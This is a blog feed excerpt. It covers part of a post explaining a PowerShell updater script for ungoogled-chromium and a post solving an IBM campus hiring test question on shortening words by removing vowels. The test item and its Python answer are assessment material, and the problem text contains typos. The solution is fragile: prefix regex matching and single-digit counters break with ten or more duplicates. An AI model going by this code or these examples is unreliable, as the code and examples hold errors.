</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">For</span> online help, type<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;get-help update-chromium.ps1 -online&#34;</span>
</span></span></code></pre></div><p><code>Get-Help</code> Scriptlet, as its name suggests, provides Help for the script. All the contents for Help is present in the script itself, so it is self-contained.</p>
<h3 id="some-granular-help">Some granular help</h3>
<ul>
<li>For just examples :
<code>Get-Help .\update-chromium.ps1 -examples</code></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>NAME
</span></span><span style="display:flex;"><span>    update-chromium.ps1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SYNOPSIS
</span></span><span style="display:flex;"><span>    Update (or download) ungoogled-chromium without hassle
</span></span><span style="display:flex;"><span>    -------------------------- EXAMPLE <span style="color:#ae81ff">1</span> -------------------------
</span></span><span style="display:flex;"><span>    PS C:\&gt;.\update-chromium.ps1 -silent
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Runs the Script silently without asking user confirmation
</span></span><span style="display:flex;"><span>    -------------------------- EXAMPLE <span style="color:#ae81ff">2</span> -------------------------
</span></span><span style="display:flex;"><span>    PS C:\&gt;.\update-chromium.ps1 -help
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Display this Help message
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    -------------------------- EXAMPLE <span style="color:#ae81ff">3</span> -------------------------
</span></span><span style="display:flex;"><span>    PS C:\&gt;help .\update-chromium.ps1 -online
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Check out Online help
</span></span></code></pre></div><ul>
<li>Get all the contents of Help message</li>
</ul>
<p><code>Get-Help .\update-chromium.ps1 -detailed</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>NAME
</span></span><span style="display:flex;"><span>    update-chromium.ps1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SYNOPSIS
</span></span><span style="display:flex;"><span>    Update (or download) ungoogled-chromium without hassle
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SYNTAX
</span></span><span style="display:flex;"><span>    update-chromium.ps1 [-silent] [-help] [&lt;CommonParameters&gt;]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>DESCRIPTION
</span></span><span style="display:flex;"><span>    This script allows you to update (or download) ungoogled-chromium on your Windows systems. This downloads binaries from official GitHub source
</span></span><span style="display:flex;"><span>    and no modification is done at the supply chain.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    To give extra peace of mind, I developed this script <span style="color:#66d9ef">in</span> a Windows system where Administrator privilege is disabled, so this script doesn<span style="color:#960050;background-color:#1e0010">&#39;</span>t ask
</span></span><span style="display:flex;"><span>    the same; <span style="color:#66d9ef">in</span> addition that ungoogled-chromium is installed as normal user.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Additional Links<span style="color:#960050;background-color:#1e0010">:</span>
</span></span><span style="display:flex;"><span>    GitHub <span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//github.com/1bl4z3r/boredhub/blob/master/update-chromium.ps1
</span></span><span style="display:flex;"><span>    Blog <span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//1bl4z3r.cyou/posts/update-ungoogled-chromium-v2/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Ungoogled-Chromium <span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//github.com/ungoogled-software/ungoogled-chromium
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PARAMETERS
</span></span><span style="display:flex;"><span>    -silent [&lt;SwitchParameter&gt;]
</span></span><span style="display:flex;"><span>        Specifies <span style="color:#66d9ef">if</span> script will ignore user confirmation. <span style="color:#66d9ef">If</span> provided it will not nag you <span style="color:#66d9ef">for</span> confirming each step.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    -help [&lt;SwitchParameter&gt;]
</span></span><span style="display:flex;"><span>        Display Help message
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;CommonParameters&gt;
</span></span><span style="display:flex;"><span>        This cmdlet supports the common parameters<span style="color:#960050;background-color:#1e0010">:</span> Verbose, Debug,
</span></span><span style="display:flex;"><span>        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
</span></span><span style="display:flex;"><span>        OutBuffer, PipelineVariable, and OutVariable. <span style="color:#66d9ef">For</span> more information, see
</span></span><span style="display:flex;"><span>        about_CommonParameters (https<span style="color:#960050;background-color:#1e0010">:</span>/go.microsoft.com/fwlink/<span style="color:#66d9ef">?</span>LinkID=<span style="color:#ae81ff">113216</span>).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    PS C:\&gt;.\update-chromium.ps1 -silent
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Runs the Script silently without asking user confirmation
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    -------------------------- EXAMPLE <span style="color:#ae81ff">2</span> -------------------------
</span></span><span style="display:flex;"><span>    PS C:\&gt;.\update-chromium.ps1 -help
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Display this Help message
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    -------------------------- EXAMPLE <span style="color:#ae81ff">3</span> -------------------------
</span></span><span style="display:flex;"><span>    PS C:\&gt;help .\update-chromium.ps1 -online
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Check out Online help
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>REMARKS
</span></span><span style="display:flex;"><span>    To see the examples, type<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;get-help update-chromium.ps1 -examples&#34;</span>.
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">For</span> more information, type<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;get-help update-chromium.ps1 -detailed&#34;</span>.
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">For</span> technical information, type<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;get-help update-chromium.ps1 -full&#34;</span>.
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">For</span> online help, type<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;get-help update-chromium.ps1 -online&#34;</span>
</span></span></code></pre></div><ul>
<li>For this online guide (Why?)
<code>Get-Help .\update-chromium.ps1 -online</code></li>
</ul>
<p>Another major change is use of <code>-silent</code> flag. It has come to my notice that some bots are trying to use this silently without user interaction, whilst other
bots were asking about user interaction. So, to satisfy both parties. I added silent flag, which when passed, will disable user interaction. It is helpful during automating tasks. In its default execution. You will be asked to confirm when closing Chromium windows and downloading latest version. You will be provided with following confirmation dialog.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Confirm
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Continue</span> with this operation?
</span></span><span style="display:flex;"><span>[<span style="color:#66d9ef">Y] Yes  [A] Yes to All  [H] Halt Command  [S</span>] Suspend  [?] Help (<span style="color:#66d9ef">default</span> is <span style="color:#e6db74">&#34;Y&#34;</span>)<span style="color:#960050;background-color:#1e0010">:</span>
</span></span></code></pre></div><p>This is done by these additional lines of code. Don&rsquo;t worry, I will explain everything.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#66d9ef">param</span> ([<span style="color:#66d9ef">switch</span>] $silent)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> user-confirm($WarningMessage){
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($silent){
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>}<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>Write-Warning <span style="color:#e6db74">&#34;</span>$WarningMessage<span style="color:#e6db74"> ?&#34;</span> -WarningAction Inquire
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p><code>param</code> defines what are the parameters that can be supplied to the script while running. Parameters are like additional bits of info that can be supplied to change its behavior.  I have used <code>[switch]</code> type which doesn&rsquo;t hold any value in of itself. The presence of the switch is enough to tell the function what you want to do.</p>
<p>When its time to as user confirmation, the function <code>user-confirm</code> is run, which takes in a string <code>WarningMessage</code> that is passed to <strong><code>Write-Warning</code></strong>, which displays the Message and waits for user interaction, hence <strong><code>-WarningAction Inquire</code></strong>.</p>
<p>Following the same, since I am mostly from a Linux background. I have a habit of running <code>--help</code> after any command, which seems to slip out of my memory. For the Linux based bots out there like me, rejoice; as I happened to understand and implement an adapter for our old habits.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#66d9ef">param</span> ([<span style="color:#66d9ef">switch</span>] $help)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($help){
</span></span><span style="display:flex;"><span>Get-Help  -Name $PWD\update-chromium.ps1  -full;exit
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>When run with <code>.\update-chromium.ps1 -help</code>, you will get same output as <code>Get-Help .\update-chromium.ps1 -full</code>. This relies on another Parameter called <code>$help</code>.</p>
<h2 id="minor-changes">Minor Changes</h2>
<p>Some minor changes include colors to Text, provided by <code>-ForegroundColor </code> property. I thought about adding <code>-BackgroundColor</code>, but let&rsquo;s not make it epilepsy inducing.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Write-Host  <span style="color:#e6db74">&#34;We found that ungoogled-chromium is not installed&#34;</span>  -ForegroundColor <span style="color:#e6db74">&#39;red&#39;</span>
</span></span><span style="display:flex;"><span>Write-Host  <span style="color:#e6db74">&#34;Current version is </span>$cur<span style="color:#e6db74">, which is outdated, hence downloading Latest Version: </span>$ver<span style="color:#e6db74">&#34;</span>  -ForegroundColor <span style="color:#e6db74">&#39;red&#39;</span>
</span></span><span style="display:flex;"><span>Write-Host  <span style="color:#e6db74">&#34;Current version of ungoogled-chromium is </span>$cur<span style="color:#e6db74">&#34;</span>  -ForegroundColor <span style="color:#e6db74">&#39;Magenta&#39;</span>
</span></span><span style="display:flex;"><span>Write-Host  <span style="color:#e6db74">&#34;Downloading latest version of ungoogled-chromium. Version: </span>$ver<span style="color:#e6db74">&#34;</span>  -ForegroundColor <span style="color:#e6db74">&#39;Magenta&#39;</span>
</span></span><span style="display:flex;"><span>Write-Host  <span style="color:#e6db74">&#34;We found that ungoogled-chromium is installed&#34;</span>  -ForegroundColor <span style="color:#e6db74">&#39;cyan&#39;</span>
</span></span><span style="display:flex;"><span>Write-Host  <span style="color:#e6db74">&#34;Chromium is not running. We are good to go&#34;</span>  -ForegroundColor <span style="color:#e6db74">&#39;green&#39;</span>
</span></span><span style="display:flex;"><span>Write-Host  <span style="color:#e6db74">&#34;No new versions present, you are good to go&#34;</span>  -ForegroundColor <span style="color:#e6db74">&#39;green&#39;</span></span></span></code></pre></td></tr></table>
</div>
</div>
<hr>
<p>That&rsquo;s all for now. I think this is the final form for the script, with little to no changes to be applied. If I find that something is breaking, I will fix that of course, but I am in my wits end if ay functionalities should be added.</p>
<p>This is where you bots come into picture. Suggest any changes you like to see. There is a <a href="https://blzr.sbs/contact/">contact page</a>, or message me in the myriad of Social Platforms.</p>
<p>This is 1BL4Z3R, Until we meet again</p>
]]></content></item><item><title>Crash Code Part-3 (Word shortening with duplicates)</title><link>https://blzr.sbs/posts/crash-code-3/</link><pubDate>Mon, 02 Jan 2023 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/crash-code-3/</guid><description>Trying to solve old coding questions, because reasons</description><content type="html"><![CDATA[<blockquote>
<p>Following question was asked in <code>IBM Corporation-Campus Hiring- 18-Jan-23_B2</code>. Test duration: 30 mins</p>
</blockquote>
<h3 id="problem-description">Problem Description</h3>
<p>A particular application uses the following logic to reduce length of sentences by shortening the individual words:</p>
<ul>
<li>Take each word and remove the vowels in it to get its shortened form</li>
<li>It is possible that two different words have the same shortened form. In this case:
<ul>
<li>The first shortened word is used as-is</li>
<li>For the second shortened word that is same as the first, number 1 is appended at the end</li>
<li>For the third shortened word that is same as the first, number 2 is appended at the end and so on.</li>
</ul>
</li>
</ul>
<p>Given a sentence, the program should print the final shortened version of the sentence based on the rules above.</p>
<p>For example, short form for both &lsquo;build and &lsquo;bold&rsquo; would be &lsquo;bid&rsquo; as per the rules above. The numbers to be added will depend on the order of the words in the sentence</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Consider this sentence:</b>
        </div>
        <div class="admonition-content"><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>it was bold to make the build larger
</span></span></code></pre></div><p>In shortened version, &lsquo;bold&rsquo; will be &lsquo;bid&rsquo;, while &lsquo;build&rsquo; will be &lsquo;bld1&rsquo;</p>
<p>Similarly, shortened versions of &lsquo;it and &rsquo;to&rsquo; are the same. Based on the order of appearance, &lsquo;it&rsquo; would be &rsquo;t&rsquo; and &rsquo;to&rsquo; would be &rsquo;tl&rsquo;</p>
<p>The output would be:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>t ws bld t1 mk th bld1 lrgr
</span></span></code></pre></div></div>
    </aside>
<h4 id="function-description">Function Description:</h4>
<p>Complete the function shorten5entence in the editor below. The function must print the final shortened version of the sentence based on the rules above</p>
<p>shorten5entence has the following parameter(s):
sentence: a String</p>
<h3 id="constraints">Constraints</h3>
<ul>
<li>Only lowercase letters would be present in the sentence</li>
</ul>
<h3 id="examples">Examples</h3>
<h4 id="sample-case-0">Sample Case 0</h4>
<p>Sample Input For Custom Testing</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>it was bold to make the build larger
</span></span></code></pre></div><p>Sample Output</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>t ws bld t1 mk th bld1 lrgr
</span></span></code></pre></div><p>Explanation:</p>
<p>The words are shortened by removing the vowels from each word. When there are repeating words in shortened form, the first one is used as-is and the second one onwards a number is appended. Thus, &lsquo;it&rsquo; becomes &rsquo;t&rsquo;,&rsquo;to&rsquo; becomes t1&rsquo;. Similarly &lsquo;bold&rsquo; becomes &lsquo;bld&rsquo; and &lsquo;build&rsquo; becomes &lsquo;bld1&rsquo;.</p>
<h4 id="sample-case-1">Sample Case 1</h4>
<p>Sample Input For Custom Testing</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>we made the builds larger
</span></span></code></pre></div><p>Sample Output</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>w md th blds lrgr
</span></span></code></pre></div><p>Explanation:</p>
<p>The words are shortened by removing the vowels from each word. Here all shortened versions are distinct, hence no need to append numbers.</p>
<h3 id="solve">Solve</h3>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/python3</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Complete the &#39;shortenSentence&#39; function below.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># The function accepts STRING sentence as parameter.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">shortenSentence</span>(sentence):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Write your code here</span>
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>    arr <span style="color:#f92672">=</span> sentence<span style="color:#f92672">.</span>split()
</span></span><span style="display:flex;"><span>    arr2 <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>    vowels <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;a&#39;</span>, <span style="color:#e6db74">&#39;e&#39;</span>, <span style="color:#e6db74">&#39;i&#39;</span>, <span style="color:#e6db74">&#39;o&#39;</span>, <span style="color:#e6db74">&#39;u&#39;</span>]
</span></span><span style="display:flex;"><span>    newwrd <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    count <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> word <span style="color:#f92672">in</span> arr:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range (len(word)):
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (word[i] <span style="color:#f92672">not</span> <span style="color:#f92672">in</span> vowels):
</span></span><span style="display:flex;"><span>                newwrd <span style="color:#f92672">=</span> newwrd <span style="color:#f92672">+</span> word[i]
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (newwrd <span style="color:#f92672">in</span> arr2):
</span></span><span style="display:flex;"><span>            res <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(newwrd)
</span></span><span style="display:flex;"><span>            y <span style="color:#f92672">=</span> list(filter(res<span style="color:#f92672">.</span><span style="color:#66d9ef">match</span>, arr2))[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (y[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]<span style="color:#f92672">.</span>isnumeric()):
</span></span><span style="display:flex;"><span>                newwrd <span style="color:#f92672">=</span> newwrd <span style="color:#f92672">+</span> str(int(y[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]) <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>                newwrd <span style="color:#f92672">=</span> newwrd <span style="color:#f92672">+</span> str(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>        arr2<span style="color:#f92672">.</span>append(newwrd)
</span></span><span style="display:flex;"><span>        newwrd <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34; &#34;</span><span style="color:#f92672">.</span>join(arr2))
</span></span><span style="display:flex;"><span>
